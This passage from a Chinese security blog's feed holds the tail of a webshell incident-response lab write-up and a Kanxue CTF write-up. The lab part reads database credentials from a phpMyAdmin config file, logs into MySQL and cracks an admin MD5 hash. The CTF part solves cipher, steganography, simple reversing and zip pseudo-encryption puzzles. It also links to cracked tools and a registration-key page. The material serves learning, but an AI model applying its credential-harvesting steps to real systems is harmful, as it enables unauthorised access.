             src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120195427846.png"                      alt="image-20241120195427846"                ></p><p>通过一顿操作，127.0.0.1.log中也能找到（1）（3）（6）答案</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120195912930.png"                      alt="image-20241120195912930"                ></p><p>查看access.log发现该网站搭建数据库使用了phpmyadmin，那我们直接去找配置文件config.inc.php就可以</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200356811.png"                      alt="image-20241120200356811"                ></p><p>命令：find &#x2F; -name config.inc.php</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200459885.png"                      alt="image-20241120200459885"                ></p><p>命令：cat &#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1&#x2F;lib&#x2F;config.inc.php，找到数据库账号密码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200621118.png"                      alt="image-20241120200621118"                ></p><p>登录数据库，命令mysql -ukaoshi -p5Sx8mK5ieyLPb84m</p><p>mysql数据库操作命令不多说</p><p>show databases;</p><p>use kashi;</p><p>show tables;</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200748007.png"                      alt="image-20241120200748007"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200837285.png"                      alt="image-20241120200837285"                ></p><p>select * from x2_user;</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120200938172.png"                      alt="image-20241120200938172"                ></p><p>| peadmin         | <a class="link"   href="mailto:&#x39;&#53;&#56;&#x30;&#x37;&#x34;&#64;&#x31;&#x36;&#x33;&#x2e;&#99;&#111;&#109;" >&#x39;&#53;&#56;&#x30;&#x37;&#x34;&#64;&#x31;&#x36;&#x33;&#x2e;&#99;&#111;&#109; <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> | f6f6eb5ace977d7e114377cc7098b7e3 |得到管理员账号密码</p><p>密码加密了，32×4固定长度128位，猜测md5</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120201913045.png"                      alt="image-20241120201913045"                ></p><p>解码得到：管理员密码（问题2）：<font id='2' color='red'>（2）Network@2020</font></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;背景：&quot;&gt;&lt;a href=&quot;#背景：&quot; class=&quot;headerlink&quot; title=&quot;背景：&quot;&gt;&lt;/a&gt;&lt;font color=&#39;red&#39;&gt;背景：&lt;/font&gt;&lt;/h4&gt;&lt;p&gt;看监控的时候发现webshell告警，领导让你上机检查你可以救救安服仔吗！！&lt;/p</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>2-看雪CTF</title>
    <link href="http://example.com/2024/05/08/2-%E7%9C%8B%E9%9B%AACTF/"/>
    <id>http://example.com/2024/05/08/2-%E7%9C%8B%E9%9B%AACTF/</id>
    <published>2024-05-08T09:55:45.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<ol><li><h1 id="注册看雪账号"><a href="#注册看雪账号" class="headerlink" title="注册看雪账号"></a><a class="link"   href="https://ctf.pediy.com/" >注册 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>看雪账号</h1></li><li><h1 id="挑战"><a href="#挑战" class="headerlink" title="挑战"></a>挑战</h1></li></ol><h2 id="Game-1"><a href="#Game-1" class="headerlink" title="Game-1"></a>Game-1</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf1.png"                      alt="ctf1"                ></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-.--/---/..-/.--/../-.</span><br></pre></td></tr></table></figure></div><p>可以判断为摩斯密码，<a class="link"   href="http://www.hiencode.com/morse.html" >摩斯密码破解 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf5.png"                      alt="ctf5"                ></p><h2 id="Game-2"><a href="#Game-2" class="headerlink" title="Game-2"></a>Game-2</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf6.png"                      alt="ctf6"                ></p><p>判断为二维码修复</p><p>找到一张普通的二维码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf2.png"                      alt="ctf2"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5Cctf%5Cctf3.png"                      alt="ctf3"                ></p><p>​用ps修复</p><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf4.png"                      alt="ctf4"                ></p><p>​扫描得出flag{62d0cbb2c69133b52f386701726f29c1}</p><h2 id="Game-3"><a href="#Game-3" class="headerlink" title="Game-3"></a>Game-3</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf7.png"                      alt="ctf7"                ></p><p>base64解码<a class="link"   href="https://www.toolhelper.cn/EncodeDecode/Base64" >Base64 编码&#x2F;解码 - 在线工具 (toolhelper.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf8.png"                      alt="ctf8"                ></p><p>直接提交是错识误的，题中说”错误的md5”，一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串，所以把里面的唯一可能有问题的字符修改一下提交，o -&gt; 0</p><h2 id="Game-4"><a href="#Game-4" class="headerlink" title="Game-4"></a>Game-4</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf9.png"                      alt="ctf9"                ></p><p>推断出为盲文，对照表，flag为ikanxue</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf10.png"                      alt="ctf10"                ></p><h2 id="Game-5"><a href="#Game-5" class="headerlink" title="Game-5"></a>Game-5</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf11.png"                      alt="ctf11"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf12.png"                      alt="image-20240508105521779"                ></p><p>打开之后显示不正常，可能为零宽度字符隐写</p><p>零宽度字符是一些不可见、不可打印的字符，在页面中用于调整字符的显示格式。零宽度字符本质上是unicode编码。</p><p>零宽度字符隐写：需要加密的内容转换为二进制，然后将二进制转换成一系列的零宽度字符，这样加密的内容就被隐藏了（普通文本编辑器不显示零宽度字符）。</p><p>常见零宽度字符</p><p>　　U+200B：零宽度空格</p><p>　　U+200C：零宽度非连接符</p><p>　　U+200D：零宽度非连接符</p><p>　　U+200E：从左到右书写标记</p><p>　　U+200F：从右到左书写标记</p><p>打开虚拟机linux，用vim打开文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf13.png"                      alt="ctf13"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf14.png"                      alt="ctf14"                ></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">看雪学院(&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;kanxue&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;feff&gt;.&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;202c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;com&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;202c&gt;)&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;202c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;202c&gt;&lt;200c&gt;，&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;200d&gt;是一个专注于&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;202c&gt;&lt;200d&gt;PC、移动、&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;200c&gt;智能设备安全研究及逆向工程的开发者社区！成立于&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;202c&gt;2000&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;202c&gt;年，&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200d&gt;经历了二十年的磨砺&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;202c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;feff&gt;，&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;200c&gt;见证了国内安全行业的发展&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200c&gt;&lt;200d&gt;，&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;feff&gt;&lt;200d&gt;&lt;feff&gt;被誉为安全界的黄埔军校&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;202c&gt;&lt;200d&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200c&gt;&lt;200d&gt;&lt;feff&gt;&lt;feff&gt;&lt;200d&gt;。它是中国最早的安全人员交</span><br><span class="line">流学习社区，通过二十年的发展在行业内树立了令人尊敬的专业形象。</span><br><span class="line">~        </span><br></pre></td></tr></table></figure></div><p> 勾选对应字符编码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf15.png"                      alt="ctf15"                >                                         </p><p> 把文本复制到<a class="link"   href="http://330k.github.io/misc_tools/unicode_steganography.html%EF%BC%8C%E7%82%B9%E5%87%BB%E2%80%9Cdecode%E2%80%9D%EF%BC%8C%E5%8D%B3%E5%8F%AF%E5%BE%97%E5%88%B0%E5%8A%A0%E5%AF%86%E7%9A%84%E4%BF%A1%E6%81%AF%E3%80%82flag%7B6af971a42782115a594ba2318c0417ad%7D" >http://330k.github.io/misc_tools/unicode_steganography.html，点击“decode”，即可得到加密的信息。flag{6af971a42782115a594ba2318c0417ad} <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf16.png"                      alt="ctf16"                ></p><h2 id="Game-6"><a href="#Game-6" class="headerlink" title="Game-6"></a>Game-6</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf17.png"                      alt="ctf17"                ></p><p>下载，打开为二进制数字</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf18.png"                      alt="ctf18"                ></p><p>8个为一组，<a class="link"   href="https://uutool.cn/bin2txt/" >在线二进制转文本工具 - UU在线工具 (uutool.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>iodj{7115i261eig7i42d5fg7412fh86ded7h}</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf19.png"                      alt="ctf19"                ></p><p>为凯撒密码加密结果，<a class="link"   href="https://www.lddgo.net/encrypt/caesar-cipher" >在线凯撒密码加密解密 (lddgo.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，依次测试偏移量，flag{7115f261bfd7f42a5cd7412ce86aba7e}</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf20.png"                      alt="ctf20"                ></p><h2 id="Game-7"><a href="#Game-7" class="headerlink" title="Game-7"></a>Game-7</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf21.png"                      alt="ctf21"                ></p><p>下载文本文件，根据提示想到栅栏密码，栅栏密码有传统形和W型，这个是W型，110米要跨10个栏</p><p><a class="link"   href="https://ctf.bugku.com/tool/railfence" >栅栏加密&#x2F;解密 - Bugku CTF <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf22.png"                      alt="ctf22"                ></p><p>ZmxhZ3s1YzI3N2E0MzUxNzIzMWJiMWZlY2U4NzIzZDJkNjU2OX0&#x3D;</p><p>再经过base64解密</p><p>得到：flag{5c277a43517231bb1fece8723d2d6569}</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf23.png"                      alt="ctf23"                ></p><h2 id="Game-8"><a href="#Game-8" class="headerlink" title="Game-8"></a>Game-8</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf24.png"                      alt="ctf24"                ></p><p>猜测这是一道逆向题</p><p>首先要使用工具判断软件版本以及是否有壳。</p><p><a class="link"   href="https://www.52pojie.cn/thread-1837928-1-1.html" >查壳工具 Exeinfo PE 0.0.8.3 集成插件单文件汉化版  <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://www.lanzouw.com/ik2JL1q618ad" >Exeinfo PE 0.0.8.3.exe - 蓝奏云 (lanzouw.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf25.png"                      alt="ctf25"                ></p><p>发现是32位程序，没有加壳</p><p>然后进行反汇编</p><p><a class="link"   href="https://hex-rays.com/download-center/" >官网下载IDA <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf26.png"                      alt="ctf26"                ></p><p>用ida打开winxor.exe文件找到main函数，按tab或者f5查看源代码，发现flag</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf27.png"                      alt="ctf27"                ></p><p>双击check函数查看</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf28.png"                      alt="ctf28"                ></p><p>对比a1是Buffer也就是要输入的答案，a2是flag变量，a3是38</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf29.png"                      alt="ctf29"                ></p><p>对比ascll编码表0x31是1，双击flag查看flag中的内容，根据循环判断38次运算，为38个编码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf30.png"                      alt="ctf30"                ></p><p>往下数38个</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">string=[<span class="number">0x57</span>,<span class="number">0x5D</span>,<span class="number">0x50</span>,<span class="number">0x56</span>,<span class="number">0x4A</span>,<span class="number">0x3</span>,<span class="number">0x53</span>,<span class="number">0x4</span>,<span class="number">0x53</span>,<span class="number">0x8</span>,<span class="number">0x54</span>,<span class="number">0x9</span>,<span class="number">0x4</span>,<span class="number">0x0</span>,<span class="number">0x54</span>,<span class="number">0x50</span>,<span class="number">0x6</span>,<span class="number">0x3</span>,<span class="number">0x3</span>,<span class="number">0x8</span>,<span class="number">0x4</span>,<span class="number">0x2</span>,<span class="number">0x8</span>,<span class="number">0x54</span>,<span class="number">0x5</span>,<span class="number">0x2</span>,<span class="number">0x54</span>,<span class="number">0x3</span>,<span class="number">0x7</span>,<span class="number">0x9</span>,<span class="number">0x8</span>,<span class="number">0x5</span>,<span class="number">0x52</span>,<span class="number">0x5</span>,<span class="number">0x3</span>,<span class="number">0x0</span>,<span class="number">0x1</span>,<span class="number">0x4C</span> ]</span><br><span class="line">result=<span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> string:</span><br><span class="line">        result += <span class="built_in">chr</span>(i ^ <span class="number">0x31</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(result)</span><br></pre></td></tr></table></figure></div><p>对照代码flag内容与1进行异或得出最终结果：flag{2b5b9e851ea7229539e43e26894c4210}</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf31.png"                      alt="ctf31"                ></p><h2 id="Game-9"><a href="#Game-9" class="headerlink" title="Game-9"></a>Game-9</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf32.png"                      alt="ctf32"                ></p><p>文件为png图片文件，先用010查是否隐写<a class="link"   href="https://www.52pojie.cn/thread-1863194-1-1.html" >010Editor Professional 14 (十六进制编辑器） <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://blog.csdn.net/caiqiiqi/article/details/73274101" >010 Editor 注册码_010editor 注册码-CSDN博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>一个 PNG 文件格式为：</p><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">文件头（89 50 4E 47 0D 0A 1A 0A） + 数据块 + 数据块 + 数据块…… + 文件尾（00 00 00 00 49 45 4E 44 AE 42 60 82）</span><br></pre></td></tr></table></figure></div><p>PNG 定义了两种类型的<strong>数据块</strong>，一种是称为<strong>关键数据块</strong>，这是标准的数据块，另一种叫做<strong>辅助数据块</strong>，这是可选的数据块。关键数据块定义了4个标准数据块，每个 PNG 文件都必须包含它们。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf33.webp"                      alt="ctf33"                ></p><p>每个数据块都有着统一的结构，由 4 个部分组成：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf34.webp"                      alt="ctf34"                ></p><h4 id="IHDR（文件头数据块）"><a href="#IHDR（文件头数据块）" class="headerlink" title="IHDR（文件头数据块）"></a>IHDR（文件头数据块）</h4><p>第一块是<strong>文件头数据块</strong>（<strong>IHDR</strong>），它由第11——32字节组成（从0开始），包含有 PNG 文件中存储的图像数据的基本信息，数据从第 16字节开始，有13个字节，其前8字节分别用4个字节规定了图片的宽和高（十六进制，以像素为单位）。</p><h4 id="IDAT（图像数据块）"><a href="#IDAT（图像数据块）" class="headerlink" title="IDAT（图像数据块）"></a>IDAT（图像数据块）</h4><p>它存储实际的数据，在数据流中可包含多个<strong>连续顺序</strong>的<strong>图像数据块</strong>。它采用 LZ77 算法的派生算法进行压缩，可以用 <strong>zlib</strong> 解压缩。</p><h4 id="IHDR-篡改图片宽高"><a href="#IHDR-篡改图片宽高" class="headerlink" title="IHDR 篡改图片宽高"></a>IHDR 篡改图片宽高</h4><p><strong>IHDR</strong> 的前8字节规定了图片的宽和高，我们可以用十六进位文件编辑器更改它们以使得这张图片显示不完整，从而达到隐藏信息的目的。此时它的图片数据并没有变，在Windows图片查看器中超过规定的图片宽高的部分只是不显示了。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf35.png"                      alt="ctf35"                ></p><h4 id="LSB-隐写"><a href="#LSB-隐写" class="headerlink" title="LSB 隐写"></a>LSB 隐写</h4><p>PNG 文件中的图像像数一般是由 RGB 三原色（红绿蓝）组成（有的图片还包含A通道表示透明度），每一种颜色占用8位，取值范围为0x00至0xFF。LSB 隐写就是修改 RGB 颜色分量的最低二进制位（LSB），它修改了每个像数颜色的最低的1 bit，而人类的眼睛不会注意到这前后的变化，这样每个像素可以携带3比特的信息。</p><p>如果是要寻找这种 LSB 隐藏痕迹的话，有一个工具 <strong>Stegsolve</strong> 是个神器，可以来辅助我们进行分析。通过下方的按钮观察每个通道的信息，我们可以捕捉异常点，抓住 LSB 隐写的蛛丝马迹（这玩意儿很难说，一般就是一看就感觉奇怪的n行或n列颜色块），进而利用 Stegsolve –&gt; Analyse –&gt; Data Extract 功能指定通道进行提取。</p><p>对于PNG和BMP文件中的 LSB 等常见的隐写方式，我们也可以使用 <strong>zsteg</strong> 工具直接进行自动化的识别和提取。</p><p><a class="link"   href="https://zhuanlan.zhihu.com/p/599657891" >从0开始学杂项 第三期：隐写分析(2) PNG图片隐写 - 知乎 (zhihu.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>简单查看图片没有被隐写，打开图片</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf36.png"                      alt="ctf36"                ></p><p>图片名称位wakanda，浏览器搜索wakanda，找到瓦坎达文字对照表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf37.png"                      alt="ctf37"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/ctf/ctf38.png"                      alt="ctf38"                ></p><p>对照表得出YOUGOTIT</p><h2 id="Game-10"><a href="#Game-10" class="headerlink" title="Game-10"></a>Game-10</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515144509833.png"                      alt="image-20240515144509833"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515144426871.png"                      alt="image-20240515144426871"                ></p><p>判断为幂数加密（云影加密）01248密码，该加密法采用0作间隔，其他非0数隔开后组合起来相加表示序号1-26之一的字母</p><p>821010841088421108841022104084210884021084210841</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515150600865.png"                      alt="image-20240515150600865"                ></p><p>python代码快速解密：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">a = <span class="string">&quot;821010841088421108841022104084210884021084210841&quot;</span></span><br><span class="line">a = a.split(<span class="string">&quot;0&quot;</span>)</span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(a)):</span><br><span class="line">    <span class="built_in">str</span> = a[i]</span><br><span class="line">    <span class="built_in">sum</span> = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">str</span>:</span><br><span class="line">        <span class="built_in">sum</span> += <span class="built_in">int</span>(i)</span><br><span class="line">    flag += <span class="built_in">chr</span>(<span class="built_in">sum</span> + <span class="number">64</span>)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515150857851.png"                      alt="image-20240515150857851"                ></p><p>kamxuedotcom直接提交还是不对，“看”的拼音不对，就把M改为N，提交正确flag{kanxuedotcom}</p><h3 id="Game-11"><a href="#Game-11" class="headerlink" title="Game-11"></a>Game-11</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515151648623.png"                      alt="image-20240515151648623"                ></p><p>还需要密码吗？看题目想到伪加密</p><p>用010打开，修改压缩文件加密标志位为00，保存后就没有密码了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515151901988.png"                      alt="image-20240515151901988"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515151917302.png"                      alt="image-20240515151917302"                ></p><p>flag{d9ae4d859de9b941af40f91f69b13f31}</p><h2 id="Game-12"><a href="#Game-12" class="headerlink" title="Game-12"></a>Game-12</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240516140707004.png"                      alt="image-20240516140707004"                ></p><p>zip伪加密原理</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20240515151901988.png"                      alt="image-20240515151901988"                ></p><p>50 4B 03 04：头文件标记（0x04034b50）4bytes</p><p>14 00：加压文件所需pkware版本 2bytes</p><p>00 00：全局方式位标记（有无加密） 2bytes 09 00</p><p>08 00：压缩方式 2bytes</p><p>B7 8B：最后修改文件时间 2bytes</p><p>88 55：最后修改文件日期 2bytes</p><p>ED 2C BE 32：CRC-32校验 4bytes</p><p>28 00 00 00：压缩后尺寸 4bytes</p><p>26 00 00 00：未压缩尺寸 4bytes</p><p>08 00：文件名长度 2bytes</p><p>00 00：扩展记录长度 2bytes</p><p><a class="link"   